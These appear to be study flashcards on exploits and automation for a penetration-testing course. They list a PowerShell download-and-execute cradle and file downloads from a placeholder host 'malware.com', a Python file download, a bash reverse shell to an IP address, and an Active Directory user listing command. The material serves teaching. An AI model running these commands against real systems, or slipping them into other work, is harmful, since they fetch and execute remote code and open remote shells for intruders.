Section 23: Exploits and Automation Flashcards
PowerShell (Download and Run a Script )
PowerShell (Download and Run a Script )
▪ powershell.exe -c “IEX((New-Object System.Net.WebClient).
DownloadString(‘https://malware.com/badstuff.ps1’))”
PowerShell (Download a File)
PowerShell (Download a File)
▪ powershell.exe -c “(New-Object System.Net.WebClient).
DownloadFile(“https://malware.com/badstuff.zip”,
“C:\Windows\Temp\downloaded.zip”)”
Python (Download a File)
Python (Download a File)
▪ import requests
url = ‘https://malware.com/badstuff.zip’
r = requests.get(url, allow_redirects=True)
open(‘downloaded.zip’, ‘wb’).write(r.content)
Bash (Reverse Shell)
bash -i >& /dev/tcp/66.77.88.99/443 0>&1
PowerShell (List All Users in a Domain)
PowerShell (List All Users in a Domain)
▪ Import-Module ActiveDirectory; Get-ADUser -Identity <username> -
properties *</username>